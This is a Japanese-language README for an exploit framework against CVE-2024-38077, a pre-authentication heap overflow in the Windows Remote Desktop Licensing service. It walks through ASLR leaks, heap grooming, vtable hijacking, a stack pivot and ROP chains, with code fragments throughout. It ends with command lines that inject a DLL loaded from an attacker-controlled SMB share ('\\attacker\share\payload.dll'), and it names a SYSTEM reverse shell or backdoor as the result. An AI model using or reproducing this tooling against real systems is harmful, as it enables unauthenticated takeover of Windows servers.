CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。
このドキュメントでは、フレームワークの各コンポーネント、存在理由、および最新Windowsでのヒープバッファオーバーフローエクスプロイトの仕組みを説明します。
Windows Remote Desktop Licensing Service(lserver.exe)は、CDataCoding::DecodeData 関数にヒープバッファオーバーフローが存在します。
┌─────────────────────────────────────────────────────────────┐
│ 脆弱性: サイズ計算の誤り │
├─────────────────────────────────────────────────────────────┤
│ 1. クライアントがサイズNのBase64データを送信 │
│ 2. サーバーが計算: buffer_size = (N / 4) * 3 │
│ 3. サーバーが 'buffer_size' バイトのバッファを割り当て │
│ 4. 実際のBase64デコード: ceil(N * 3/4) バイト書き込み │
│ 5. Nが4の倍数でない場合: オーバーフロー! │
└─────────────────────────────────────────────────────────────┘
具体的な例:
(4001 / 4) * 3 = 1000 * 3 = 3000 バイト割り当てceil(4001 * 0.75) = 3001 バイト書き込み┌─────────────────────────────────────────────────────────────────┐
│ エクスプロイトチェーン │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP、ASLR、CFG 認識) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (オーケストレーター) │
└───────────────────────────────────────────────────────────┘
primitives.py - 基礎メモリ操作のための低レベルユーティリティ。
エクスプロイトには以下が必要:
# Pack/Unpack - 整数とバイトの相互変換
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 巡回パターン - クラッシュオフセットの特定用
cyclic(100) # De Bruijn シーケンス生成
cyclic_find(pattern, value) # 値のオフセット検出
# アラインメント - メモリは整列が必要
align(0x1003, 0x10) # → 0x1010(16バイト境界に整列)
現実の問題: クラッシュが発生し、RIP に 0x61616171 が入っている。
cyclic_find(pattern, 0x61616171) → 正確なオフセット!leak.py - ASLR バイパスAddress Space Layout Randomization: ブート/実行のたびにアドレスが変わる。
ブート1: ntdll.dll @ 0x7FFA12340000
ブート2: ntdll.dll @ 0x7FFB98760000
ブート3: ntdll.dll @ 0x7FFC55550000
メモリの位置がわからないと:
class LeakInfo:
"""リークされたアドレスを格納するコンテナ"""
heap_base: int # ヒープベース
ntdll_base: int # ntdll.dll ベース
kernel32_base: int # kernel32.dll ベース
# ...
class LeakProvider:
"""リークソースのオーケストレーター"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 各ソースを成功するまで試行
| ソース | 動作方法 | 使用時 |
|---|---|---|
ManualLeakSource | ユーザーがアドレスを指定 | ラボ/デバッグ(ターゲットにアクセス可能) |
ResponseLeakSource | RPC応答から抽出 | サービスがポインタを漏洩する場合 |
TimingLeakSource | タイミングサイドチャネル | 理論上、非常に困難 |
デモ/ラボでは、次のことが可能:
--ntdll-base 0x7ffa... で指定これにより、実際のリークをシミュレートし、チェーンの残りの部分をテストできます。
target_model.py - ターゲットのマッピング脆弱なデータ構造と隣接するデータ構造のモデリング。
オーバーフロー ≠ エクスプロイト。以下を知る必要がある:
class VulnerableBuffer:
"""オーバーフローが発生するバッファ"""
allocation_size: int # 割り当てられたサイズ
write_size: int # 書き込まれるサイズ
overflow_amount: int # 差分 = オーバーフロー量
def calculate_overflow(input_size):
# 計算バグのシミュレーション
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""破壊されるオブジェクト(ヒープ上で隣接)"""
fields: List[StructField]
has_vtable: bool # 仮想テーブルを持つか?
has_function_ptr: bool # 関数ポインタを持つか?
# リバースエンジニアリングに基づく仮想的なオブジェクト
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# マッピングされたフィールド
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True の理由エクスプロイトに有用なフィールドを示す:
vtable: 上書きするとメソッド呼び出しを制御可能callback: 上書きするとコールバック呼び出しを制御可能write_primitive.py - 制御された書き込みオーバーフローは連続データを書き込む。しかし、以下が必要:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
正確な値でオーバーフローバッファを構築
レイアウト:
[オフセットまでのパディング] [制御された値] [さらにデータ]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 正確なオフセットに正確な値を配置
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# vtable の上書き
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# コールバックの上書き
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 書き込み | 結果 |
|---|---|
| AAAA... | 制御不能なクラッシュ |
| 正確なオフセットに正確なアドレス | 制御された実行 |
heap_controller.py - ヒープグルーミングWindows は LFH(Low Fragmentation Heap) と Segment Heap を使用:
グルーミング = ヒープを決定的なレイアウトに整形。
グルーミング前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
ランダムな割り当て、予測不能な穴
グルーミング後:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
制御されたレイアウト、望みの場所に「穴」
class HeapLayoutController:
def execute_full_groom(self):
# フェーズ1: 既存の穴を埋める
self.phase_fill(50)
# フェーズ2: ターゲットバケットのLFHを有効化
# (Windowsは同じサイズの割り当て約17回後にLFHを有効化)
self.phase_activate_lfh()
# フェーズ3: スプレー - 密なパターンを作成
sprayed = self.phase_spray(200)
# フェーズ4: 戦略的な穴を作成
# N回の割り当てごとに解放
self.phase_create_holes(sprayed, interval=4)
# フェーズ5: 安定化
self.phase_stabilize()
trigger.py - 破壊後のトリガー破壊が発生した。次は?
現在の状態:
- メモリ破損 ✓
- 悪意のある値書き込み ✓
- しかし、まだその値は使用されていない!
プログラムに破損データを読み取らせ、使用させる必要がある。
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# 実装された戦略:
class SecondRequestTrigger:
"""破損したオブジェクトを使用する2回目のRPC呼び出しを行う"""
class DestructorTrigger:
"""切断 - 破損したポインタを使用するクリーンアップを強制"""
class TimerTrigger:
"""内部タイマーが破損状態を処理するのを待つ"""
1. 最初のRPC呼び出し → 破損発生
2. 切断(trigger) → サーバーがデストラクタを呼び出す
3. デストラクタが破損したvtableを読み取る → 私たちのアドレスを呼び出す
4. 制御された実行!
execution.py - フロー制御RIP(x64)または EIP(x86)= 命令ポインタ
命令ポインタを制御すれば、実行を制御できる。
class HijackMethod(Enum):
VTABLE = 0 # ヒープオーバーフローで最も一般的
FUNCTION_PTR = 1 # コールバックポインタ
RETURN_ADDR = 2 # スタックオーバーフロー(今回は該当せず)
通常のオブジェクト:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← 正当
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
破損後:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← 私たちの!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
method1 が呼び出されると → 私たちのガジェットが実行!
問題: vtable ハイジャックでは1回の呼び出ししか得られない。さらに必要。
解決策: スタックピボット
# RSP を ROP チェーンがある場所に切り替えるガジェット
xchg rax, rsp; ret # RAX = 私たちのアドレス → RSP = 私たちのアドレス
# これで「スタック」は制御された領域に!
# 各 RET が ROP チェーンの次のガジェットにジャンプ
code_reuse.py - ROP チェーンDEP(Data Execution Prevention): ヒープとスタックは実行不可。
ヒープ上のシェルコード → クラッシュ(アクセス違反 - 実行)
ROP = Return-Oriented Programming
RET で終わる小さなコード断片「ガジェット」を連鎖させる。
ガジェット1: pop rcx; ret ← RCX に値を設定
ガジェット2: pop rdx; ret ← RDX に値を設定
ガジェット3: call LoadLibraryA ← 関数呼び出し!
スタック/ROPチェーン(私たちの制御領域):
┌────────────────────┐
│ pop_rcx のアドレス │ ← RSP がここを指す
├────────────────────┤
│ RCX に設定する値 │ ← これが RCX に「pop」される
├────────────────────┤
│ pop_rdx のアドレス │ ← RET がここへジャンプ
├────────────────────┤
│ RDX に設定する値 │
├────────────────────┤
│ LoadLibraryA のアド│ ← 最終的に呼び出し!
└────────────────────┘
# DLL のロード(DLLインジェクション)
build_load_library(dll_path_addr) → ROP chain
# 実行可能メモリの割り当て
build_virtual_alloc(size) → ROP chain + RAX = RWX アドレス
# コマンド実行
build_winexec(cmd_addr) → ROP chain
payload.py - 意味的ペイロード| 種類 | 例 | 結果 |
|---|---|---|
| データ | AAAAAA... | クラッシュ |
| 意図 | ROP + DLL パス | DLL ロード |
class PayloadIntent(Enum):
CRASH_TEST = 0 # エクスプロイトが機能するか確認
DLL_INJECT = 1 # 私たちの DLL をロード
COMMAND_EXEC = 2 # コマンド実行
SHELLCODE = 3 # ROP 経由でシェルコード実行
def build_dll_inject(dll_path: str) -> bytes:
"""
最終構造:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← 最初に実行
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← 文字列(パス)
└──────────────────────────────┘
ROP チェーンが文字列のアドレスを LoadLibraryA に渡す
"""
mitigations.py - 緩和策認識| 緩和策 | 機能 | 私たちのバイパス |
|---|---|---|
| DEP | ヒープ/スタックを実行不可に | ROP(コード再利用) |
| ASLR | アドレスランダム化 | 情報漏洩 |
| CFG | 呼び出し先を検証 | 有効な呼び出し先を使用し、その後ピボット |
| スタッククッキー | スタックオーバーフロー検出 | スタックオーバーフローは使用しない |
| ヒープ強化 | ガードページなど | 注意深いグルーミング |
def adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # 必須
if mitigations.ASLR.enabled:
config["require_leak"] = True # 必須
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # スプレーを増やす
┌─────────────────────────────────────────────────────────────────┐
│ エクスプロイトフロー │
└─────────────────────────────────────────────────────────────────┘
ステージ1: LEAK(ASLRバイパス)
├─ メモリアドレスを取得
├─ 入力: 手動または自動リーク
└─ 出力: モジュールベースを含む LeakInfo
↓
ステージ2: ANALYZE(ターゲットマッピング)
├─ オーバーフロー量を計算
├─ 隣接オブジェクトを特定
└─ 破壊オフセットを決定
↓
ステージ3: GROOM(ヒープ整形)
├─ Fill → Activate LFH → Spray → Holes
├─ 決定的なレイアウトを作成
└─ 脆弱な割り当て用の「着陸ゾーン」を準備
↓
ステージ4: PAYLOAD(構築)
├─ ROP チェーンを構築
├─ 必要な文字列/データを含める
└─ オーバーフローデータと結合
↓
ステージ5: CORRUPT(オーバーフローのトリガー)
├─ 悪意のあるRPC呼び出しを送信
├─ オーバーフローを発生
└─ ターゲット(vtable/callback)を上書き
↓
ステージ6: TRIGGER(使用を強制)
├─ 切断または2回目の呼び出し
├─ 破損したポインタの使用を強制
└─ 実行ハイジャック
↓
ステージ7: EXECUTE(RCE)
├─ ROP チェーン実行
├─ LoadLibraryA が DLL をロード
└─ 任意コード実行!
↓
┌─────────────────────────────────────────────────────────────┐
│ 結果: SYSTEM 権限でのリバースシェル、バックドアなど │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# サービスの稼働確認のみ
python -m madlicense.poc -t 10.0.0.5 --check
# ドライラン(ペイロード未送信、全てシミュレート)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# 完全なDLLインジェクション
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# 電卓の実行(古典的PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
このフレームワークは以下を目的としています:
使用禁止:
キーフレーズ:
「最新Windowsでのヒープバッファオーバーフローエクスプロイトは、単に「書きすぎ」ではありません。
それは、リーク→グルーム→破損→トリガー→実行という正確なチェーンです。」
9つのモジュール:
これらが1つでも欠けると、RCEは達成できません。